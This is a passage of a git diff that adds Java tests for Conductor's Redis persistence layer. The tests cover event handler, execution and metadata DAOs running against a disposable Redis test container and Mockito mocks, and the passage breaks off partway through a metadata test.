+++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/BaseDynoDAOTest.java @@ -0,0 +1,63 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mock; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class BaseDynoDAOTest { + + @Mock private JedisProxy jedisProxy; + + @Mock private ObjectMapper objectMapper; + + private RedisProperties properties; + private ConductorProperties conductorProperties; + + private BaseDynoDAO baseDynoDAO; + + @Before + public void setUp() { + properties = mock(RedisProperties.class); + conductorProperties = mock(ConductorProperties.class); + this.baseDynoDAO = + new BaseDynoDAO(jedisProxy, objectMapper, conductorProperties, properties); + } + + @Test + public void testNsKey() { + assertEquals("", baseDynoDAO.nsKey()); + + String[] keys = {"key1", "key2"}; + assertEquals("key1.key2", baseDynoDAO.nsKey(keys)); + + when(properties.getWorkflowNamespacePrefix()).thenReturn("test"); + assertEquals("test", baseDynoDAO.nsKey()); + + assertEquals("test.key1.key2", baseDynoDAO.nsKey(keys)); + + when(conductorProperties.getStack()).thenReturn("stack"); + assertEquals("test.stack.key1.key2", baseDynoDAO.nsKey(keys)); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAOTest.java new file mode 100644 index 0000000..c70f290 --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAOTest.java @@ -0,0 +1,255 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.List; +import java.util.UUID; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.common.metadata.events.EventHandler.Action.Type; +import com.netflix.conductor.common.metadata.events.EventHandler.StartWorkflow; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.JedisStandalone; + +import com.fasterxml.jackson.databind.ObjectMapper; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; + +import static org.junit.jupiter.api.Assertions.*; + +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class RedisEventHandlerDAOTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private RedisEventHandlerDAO redisEventHandlerDAO; + private JedisPool jedisPool; + + @BeforeAll + void setUp() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + + redisEventHandlerDAO = + new RedisEventHandlerDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @AfterAll + void tearDown() { + redis.stop(); + } + + @BeforeEach + void cleanUp() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + @Test + void testAddAndGetEventHandler() { + EventHandler eventHandler = createEventHandler("handler1", "SQS::arn:test:queue1"); + + redisEventHandlerDAO.addEventHandler(eventHandler); + + List allHandlers = redisEventHandlerDAO.getAllEventHandlers(); + assertNotNull(allHandlers); + assertEquals(1, allHandlers.size()); + assertEquals(eventHandler.getName(), allHandlers.get(0).getName()); + assertEquals(eventHandler.getEvent(), allHandlers.get(0).getEvent()); + } + + @Test + void testEventHandlers() { + String event1 = "SQS::arn:account090:sqstest1"; + String event2 = "SQS::arn:account090:sqstest2"; + + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(false); + Action action = new Action(); + action.setAction(Type.start_workflow); + action.setStart_workflow(new StartWorkflow()); + action.getStart_workflow().setName("test_workflow"); + eventHandler.getActions().add(action); + eventHandler.setEvent(event1); + + redisEventHandlerDAO.addEventHandler(eventHandler); + List allEventHandlers = redisEventHandlerDAO.getAllEventHandlers(); + assertNotNull(allEventHandlers); + assertEquals(1, allEventHandlers.size()); + assertEquals(eventHandler.getName(), allEventHandlers.get(0).getName()); + assertEquals(eventHandler.getEvent(), allEventHandlers.get(0).getEvent()); + + List byEvents = redisEventHandlerDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); // event is marked as in-active + + eventHandler.setActive(true); + eventHandler.setEvent(event2); + redisEventHandlerDAO.updateEventHandler(eventHandler); + + allEventHandlers = redisEventHandlerDAO.getAllEventHandlers(); + assertNotNull(allEventHandlers); + assertEquals(1, allEventHandlers.size()); + + byEvents = redisEventHandlerDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); + + byEvents = redisEventHandlerDAO.getEventHandlersForEvent(event2, true); + assertNotNull(byEvents); + assertEquals(1, byEvents.size()); + } + + @Test + void testUpdateEventHandler() { + EventHandler eventHandler = createEventHandler("handler2", "SQS::arn:test:queue2"); + redisEventHandlerDAO.addEventHandler(eventHandler); + + eventHandler.setActive(true); + redisEventHandlerDAO.updateEventHandler(eventHandler); + + List handlers = + redisEventHandlerDAO.getEventHandlersForEvent("SQS::arn:test:queue2", true); + assertEquals(1, handlers.size()); + assertTrue(handlers.get(0).isActive()); + } + + @Test + void testUpdateEventHandlerChangeEvent() { + String oldEvent = "SQS::arn:test:old_queue"; + String newEvent = "SQS::arn:test:new_queue"; + + EventHandler eventHandler = createEventHandler("handler3", oldEvent); + eventHandler.setActive(true); + redisEventHandlerDAO.addEventHandler(eventHandler); + + assertEquals(1, redisEventHandlerDAO.getEventHandlersForEvent(oldEvent, true).size()); + + eventHandler.setEvent(newEvent); + redisEventHandlerDAO.updateEventHandler(eventHandler); + + assertEquals(0, redisEventHandlerDAO.getEventHandlersForEvent(oldEvent, true).size()); + assertEquals(1, redisEventHandlerDAO.getEventHandlersForEvent(newEvent, true).size()); + } + + @Test + void testRemoveEventHandler() { + EventHandler eventHandler = createEventHandler("handler4", "SQS::arn:test:queue4"); + redisEventHandlerDAO.addEventHandler(eventHandler); + + assertEquals(1, redisEventHandlerDAO.getAllEventHandlers().size()); + + redisEventHandlerDAO.removeEventHandler(eventHandler.getName()); + + assertEquals(0, redisEventHandlerDAO.getAllEventHandlers().size()); + } + + @Test + void testAddDuplicateEventHandler() { + EventHandler eventHandler = createEventHandler("duplicate_handler", "SQS::arn:test:q"); + redisEventHandlerDAO.addEventHandler(eventHandler); + + assertThrows( + ConflictException.class, () -> redisEventHandlerDAO.addEventHandler(eventHandler)); + } + + @Test + void testUpdateNonExistentEventHandler() { + EventHandler eventHandler = createEventHandler("nonexistent", "SQS::arn:test:q"); + + assertThrows( + NotFoundException.class, + () -> redisEventHandlerDAO.updateEventHandler(eventHandler)); + } + + @Test + void testRemoveNonExistentEventHandler() { + assertThrows( + NotFoundException.class, + () -> redisEventHandlerDAO.removeEventHandler("nonexistent")); + } + + @Test + void testGetEventHandlersForEventActiveOnly() { + String event = "SQS::arn:test:active_test"; + + EventHandler active = createEventHandler("active_handler", event); + active.setActive(true); + redisEventHandlerDAO.addEventHandler(active); + + EventHandler inactive = createEventHandler("inactive_handler", event); + inactive.setActive(false); + redisEventHandlerDAO.addEventHandler(inactive); + + List activeHandlers = + redisEventHandlerDAO.getEventHandlersForEvent(event, true); + assertEquals(1, activeHandlers.size()); + assertEquals("active_handler", activeHandlers.get(0).getName()); + + List allHandlers = + redisEventHandlerDAO.getEventHandlersForEvent(event, false); + assertEquals(2, allHandlers.size()); + } + + @Test + void testGetAllEventHandlersMultiple() { + for (int i = 0; i < 5; i++) { + EventHandler handler = createEventHandler("handler_" + i, "SQS::arn:test:queue_" + i); + redisEventHandlerDAO.addEventHandler(handler); + } + + List allHandlers = redisEventHandlerDAO.getAllEventHandlers(); + assertEquals(5, allHandlers.size()); + } + + private EventHandler createEventHandler(String name, String event) { + EventHandler handler = new EventHandler(); + handler.setName(name); + handler.setEvent(event); + handler.setActive(false); + Action action = new Action(); + action.setAction(Type.start_workflow); + action.setStart_workflow(new StartWorkflow()); + action.getStart_workflow().setName("test_workflow"); + handler.getActions().add(action); + return handler; + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisExecutionDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisExecutionDAOTest.java new file mode 100644 index 0000000..f03784a --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisExecutionDAOTest.java @@ -0,0 +1,434 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashSet; +import java.util.List; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.ExecutionDAOTest; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.JedisStandalone; + +import com.fasterxml.jackson.databind.ObjectMapper; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class RedisExecutionDAOTest extends ExecutionDAOTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private static RedisExecutionDAO executionDAO; + private static JedisPool jedisPool; + + @BeforeClass + public static void startRedis() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + + executionDAO = + new RedisExecutionDAO( + jedisProxy, + objectMapper, + conductorProperties, + redisProperties, + mock(QueueDAO.class)); + } + + @AfterClass + public static void stopRedis() { + redis.stop(); + } + + @Before + public void cleanUp() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + @Override + protected ExecutionDAO getExecutionDAO() { + return executionDAO; + } + + @Test + public void testCorrelateTaskToWorkflowInDS() { + String workflowId = "workflowId"; + String taskId = "taskId1"; + String taskDefName = "task1"; + + TaskDef def = new TaskDef(); + def.setName("task1"); + def.setConcurrentExecLimit(1); + + TaskModel task = new TaskModel(); + task.setTaskId(taskId); + task.setWorkflowInstanceId(workflowId); + task.setReferenceTaskName("ref_name"); + task.setTaskDefName(taskDefName); + task.setTaskType(taskDefName); + task.setStatus(TaskModel.Status.IN_PROGRESS); + List tasks = executionDAO.createTasks(Collections.singletonList(task)); + assertNotNull(tasks); + assertEquals(1, tasks.size()); + + executionDAO.correlateTaskToWorkflowInDS(taskId, workflowId); + tasks = executionDAO.getTasksForWorkflow(workflowId); + assertNotNull(tasks); + assertEquals(workflowId, tasks.get(0).getWorkflowInstanceId()); + assertEquals(taskId, tasks.get(0).getTaskId()); + } + + @Test + public void testGetTasksForWorkflow() { + WorkflowModel workflow = createRunningWorkflow(); + executionDAO.createWorkflow(workflow); + + int taskCount = 5; + List tasks = new ArrayList<>(); + for (int i = 0; i < taskCount; i++) { + TaskModel task = new TaskModel(); + task.setTaskDefName("task_" + i); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskId(UUID.randomUUID().toString()); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setReferenceTaskName("ref_task_" + i); + task.setSeq(i); + tasks.add(task); + } + executionDAO.createTasks(tasks); + + List retrievedTasks = executionDAO.getTasksForWorkflow(workflow.getWorkflowId()); + assertEquals(taskCount, retrievedTasks.size()); + + tasks.sort(Comparator.comparing(TaskModel::getTaskId)); + retrievedTasks.sort(Comparator.comparing(TaskModel::getTaskId)); + + for (int i = 0; i < taskCount; i++) { + assertEquals(tasks.get(i).getTaskId(), retrievedTasks.get(i).getTaskId()); + assertEquals(tasks.get(i).getTaskDefName(), retrievedTasks.get(i).getTaskDefName()); + } + } + + @Test + public void testPendingWorkflowCount() { + String workflowName = "count_workflow_" + UUID.randomUUID(); + int workflowCount = 5; + + for (int i = 0; i < workflowCount; i++) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setWorkflowId(UUID.randomUUID().toString()); + workflow.setCreateTime(System.currentTimeMillis()); + WorkflowDef def = new WorkflowDef(); + def.setName(workflowName); + def.setVersion(1); + workflow.setWorkflowDefinition(def); + executionDAO.createWorkflow(workflow); + } + + long count = executionDAO.getPendingWorkflowCount(workflowName); + assertEquals(workflowCount, count); + } + + @Test + public void testEventExecutionCRUD() { + String eventHandlerName = "test_handler"; + String eventName = "test_event"; + String messageId = "msg1"; + + EventExecution ee = new EventExecution(messageId + "_0", messageId); + ee.setName(eventHandlerName); + ee.setEvent(eventName); + ee.setStatus(EventExecution.Status.IN_PROGRESS); + + boolean added = executionDAO.addEventExecution(ee); + assertTrue(added); + + List executions = + executionDAO.getEventExecutions(eventHandlerName, eventName, messageId, 1); + assertEquals(1, executions.size()); + assertEquals(ee.getId(), executions.get(0).getId()); + assertEquals(EventExecution.Status.IN_PROGRESS, executions.get(0).getStatus()); + + ee.setStatus(EventExecution.Status.COMPLETED); + executionDAO.updateEventExecution(ee); + + executions = executionDAO.getEventExecutions(eventHandlerName, eventName, messageId, 1); + assertEquals(1, executions.size()); + assertEquals(EventExecution.Status.COMPLETED, executions.get(0).getStatus()); + + executionDAO.removeEventExecution(ee); + executions = executionDAO.getEventExecutions(eventHandlerName, eventName, messageId, 1); + assertEquals(0, executions.size()); + } + + @Test + public void testRemoveWorkflow() { + WorkflowModel workflow = createRunningWorkflow(); + executionDAO.createWorkflow(workflow); + + int taskCount = 3; + List tasks = new ArrayList<>(); + for (int i = 0; i < taskCount; i++) { + TaskModel task = new TaskModel(); + task.setTaskDefName("task_" + i); + task.setStatus(TaskModel.Status.COMPLETED); + task.setTaskId(UUID.randomUUID().toString()); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setReferenceTaskName("ref_task_" + i); + task.setSeq(i); + tasks.add(task); + } + executionDAO.createTasks(tasks); + + assertNotNull(executionDAO.getWorkflow(workflow.getWorkflowId(), true)); + assertEquals(taskCount, executionDAO.getTasksForWorkflow(workflow.getWorkflowId()).size()); + + boolean removed = executionDAO.removeWorkflow(workflow.getWorkflowId()); + assertTrue(removed); + assertNull(executionDAO.getWorkflow(workflow.getWorkflowId(), false)); + assertEquals(0, executionDAO.getTasksForWorkflow(workflow.getWorkflowId()).size()); + } + + @Test + public void testRemoveWorkflowWithExpiry() { + WorkflowModel workflow = createRunningWorkflow(); + executionDAO.createWorkflow(workflow); + + TaskModel task = new TaskModel(); + task.setTaskDefName("expiry_task"); + task.setStatus(TaskModel.Status.COMPLETED); + task.setTaskId(UUID.randomUUID().toString()); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setReferenceTaskName("ref_expiry_task"); + task.setSeq(0); + executionDAO.createTasks(List.of(task)); + + assertNotNull(executionDAO.getWorkflow(workflow.getWorkflowId(), false)); + + executionDAO.removeWorkflowWithExpiry(workflow.getWorkflowId(), 1); + + // Workflow should still exist briefly (TTL not expired yet) + // Wait for expiry + await().atMost(3, TimeUnit.SECONDS) + .pollInterval(100, TimeUnit.MILLISECONDS) + .until(() -> executionDAO.getWorkflow(workflow.getWorkflowId(), false) == null); + + // After TTL, workflow should be gone + assertNull(executionDAO.getWorkflow(workflow.getWorkflowId(), false)); + } + + @Test + public void testGetRunningWorkflowIds() { + String workflowName = "running_wf_" + UUID.randomUUID(); + int workflowCount = 3; + List workflowIds = new ArrayList<>(); + + for (int i = 0; i < workflowCount; i++) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setWorkflowId(UUID.randomUUID().toString()); + workflow.setCreateTime(System.currentTimeMillis()); + WorkflowDef def = new WorkflowDef(); + def.setName(workflowName); + def.setVersion(i + 1); + workflow.setWorkflowDefinition(def); + executionDAO.createWorkflow(workflow); + workflowIds.add(workflow.getWorkflowId()); + } + + List runningIds = executionDAO.getRunningWorkflowIds(workflowName, 0); + assertEquals(workflowCount, runningIds.size()); + assertTrue(new HashSet<>(runningIds).containsAll(workflowIds)); + } + + @Test + public void testWorkflowWithTasks() { + WorkflowModel workflow = createRunningWorkflow(); + executionDAO.createWorkflow(workflow); + + int taskCount = 6; + List tasks = new ArrayList<>(); + for (int i = 0; i < taskCount; i++) { + TaskModel task = new TaskModel(); + task.setTaskDefName("task_type"); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setTaskId(UUID.randomUUID().toString()); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setReferenceTaskName("task_" + i); + task.setSeq(i); + executionDAO.createTasks(List.of(task)); + tasks.add(task); + } + + // Complete all tasks but the last one + for (int i = 0; i < taskCount - 1; i++) { + TaskModel task = tasks.get(i); + task.setStatus(TaskModel.Status.COMPLETED); + executionDAO.updateTask(task); + } + TaskModel lastTask = tasks.get(taskCount - 1); + lastTask.setStatus(TaskModel.Status.FAILED); + executionDAO.updateTask(lastTask); + + WorkflowModel found = executionDAO.getWorkflow(workflow.getWorkflowId(), true); + List foundTasks = executionDAO.getTasksForWorkflow(workflow.getWorkflowId()); + foundTasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + + assertNotNull(found); + assertEquals(taskCount, found.getTasks().size()); + assertEquals(taskCount, foundTasks.size()); + assertEquals(WorkflowModel.Status.RUNNING, found.getStatus()); + assertEquals(TaskModel.Status.COMPLETED, foundTasks.get(0).getStatus()); + assertEquals(TaskModel.Status.FAILED, foundTasks.get(taskCount - 1).getStatus()); + + // Mark workflow as failed + workflow.setStatus(WorkflowModel.Status.FAILED); + executionDAO.updateWorkflow(workflow); + + found = executionDAO.getWorkflow(workflow.getWorkflowId(), true); + assertEquals(WorkflowModel.Status.FAILED, found.getStatus()); + } + + private WorkflowModel createRunningWorkflow() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setStatus(WorkflowModel.Status.RUNNING); + workflow.setWorkflowId(UUID.randomUUID().toString()); + workflow.setCreateTime(System.currentTimeMillis()); + WorkflowDef def = new WorkflowDef(); + def.setName("test_workflow"); + def.setVersion(1); + workflow.setWorkflowDefinition(def); + return workflow; + } + + @Test + public void updateTaskTerminalReleasesPostponedTaskWhenConcurrencyLimit() { + QueueDAO queueDAO = mock(QueueDAO.class); + when(queueDAO.peekFirstIds(anyString(), eq(1))) + .thenReturn(Collections.singletonList("postponed-id")); + + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + RedisExecutionDAO dao = + new RedisExecutionDAO( + jedisProxy, + new ObjectMapperProvider().getObjectMapper(), + conductorProperties, + redisProperties, + queueDAO); + + TaskDef def = new TaskDef(); + def.setName("limited_task"); + def.setConcurrentExecLimit(1); + com.netflix.conductor.common.metadata.workflow.WorkflowTask wft1 = + new com.netflix.conductor.common.metadata.workflow.WorkflowTask(); + wft1.setTaskDefinition(def); + + TaskModel task = new TaskModel(); + task.setTaskId("t1"); + task.setWorkflowInstanceId("wf1"); + task.setTaskDefName("limited_task"); + task.setTaskType("limited_task"); + task.setReferenceTaskName("ref"); + task.setWorkflowTask(wft1); + task.setStatus(TaskModel.Status.COMPLETED); + + dao.updateTask(task); + + verify(queueDAO).peekFirstIds(anyString(), eq(1)); + verify(queueDAO).resetOffsetTime(anyString(), eq("postponed-id")); + } + + @Test + public void updateTaskScheduledDoesNotReleasePostponedTaskWhenConcurrencyLimit() { + QueueDAO queueDAO = mock(QueueDAO.class); + + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + RedisExecutionDAO dao = + new RedisExecutionDAO( + jedisProxy, + new ObjectMapperProvider().getObjectMapper(), + conductorProperties, + redisProperties, + queueDAO); + + TaskDef def = new TaskDef(); + def.setName("limited_task"); + def.setConcurrentExecLimit(1); + com.netflix.conductor.common.metadata.workflow.WorkflowTask wft2 = + new com.netflix.conductor.common.metadata.workflow.WorkflowTask(); + wft2.setTaskDefinition(def); + + TaskModel task = new TaskModel(); + task.setTaskId("t2"); + task.setWorkflowInstanceId("wf2"); + task.setTaskDefName("limited_task"); + task.setTaskType("limited_task"); + task.setReferenceTaskName("ref"); + task.setWorkflowTask(wft2); + task.setStatus(TaskModel.Status.SCHEDULED); + + dao.updateTask(task); + + verify(queueDAO, never()).peekFirstIds(anyString(), anyInt()); + verify(queueDAO, never()).resetOffsetTime(anyString(), anyString()); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisMetadataDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisMetadataDAOTest.java new file mode 100644 index 0000000..1e0923d --- /dev/null +++ b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/RedisMetadataDAOTest.java @@ -0,0 +1,420 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.UUID; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskDef.RetryLogic; +import com.netflix.conductor.common.metadata.tasks.TaskDef.TimeoutPolicy; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.JedisStandalone; + +import com.fasterxml.jackson.databind.ObjectMapper; +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; + +import static org.junit.jupiter.api.Assertions.*; + +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class RedisMetadataDAOTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private RedisMetadataDAO redisMetadataDAO; + private JedisPool jedisPool; + + @BeforeAll + void setUp() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + + redisMetadataDAO = + new RedisMetadataDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @AfterAll + void tearDown() { + redis.stop(); + } + + @BeforeEach + void cleanUp() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + // Re-create the DAO to reset the internal taskDefCache after flush + JedisProxy jedisProxy = new JedisProxy(new JedisStandalone(jedisPool)); + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + ConductorProperties conductorProperties = new ConductorProperties(); + RedisProperties redisProperties = new RedisProperties(conductorProperties); + redisMetadataDAO = + new RedisMetadataDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @Test + void testDup() { + WorkflowDef def = new WorkflowDef(); + def.setName("testDup"); + def.setVersion(1); + + redisMetadataDAO.createWorkflowDef(def); + assertThrows(ConflictException.class, () -> redisMetadataDAO.createWorkflowDef(def)); + } + + @Test + void testWorkflowDefOperations() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + redisMetadataDAO.createWorkflowDef(def); + + List all = redisMetadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + WorkflowDef found = redisMetadataDAO.getWorkflowDef("test", 1).get(); + assertEquals(def, found); + + def.setVersion(2); + redisMetadataDAO.createWorkflowDef(def); + + all = redisMetadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + found = redisMetadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(def.getVersion(), found.getVersion()); + assertEquals(2, found.getVersion()); + + all = redisMetadataDAO.getAllVersions(def.getName()); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals("test", all.get(1).getName()); + assertEquals(1, all.get(0).getVersion()); + assertEquals(2, all.get(1).getVersion()); + + def.setDescription("updated"); + redisMetadataDAO.updateWorkflowDef(def); + found = redisMetadataDAO.getWorkflowDef(def.getName(), def.getVersion()).get(); + assertEquals(def.getDescription(), found.getDescription()); + + List allnames = redisMetadataDAO.findAll(); + assertNotNull(allnames); + assertEquals(1, allnames.size()); + assertEquals(def.getName(), allnames.get(0)); + + redisMetadataDAO.removeWorkflowDef("test", 1); + Optional deleted = redisMetadataDAO.getWorkflowDef("test", 1); + assertFalse(deleted.isPresent()); + redisMetadataDAO.removeWorkflowDef("test", 2); + Optional latestDef = redisMetadataDAO.getLatestWorkflowDef("test"); + 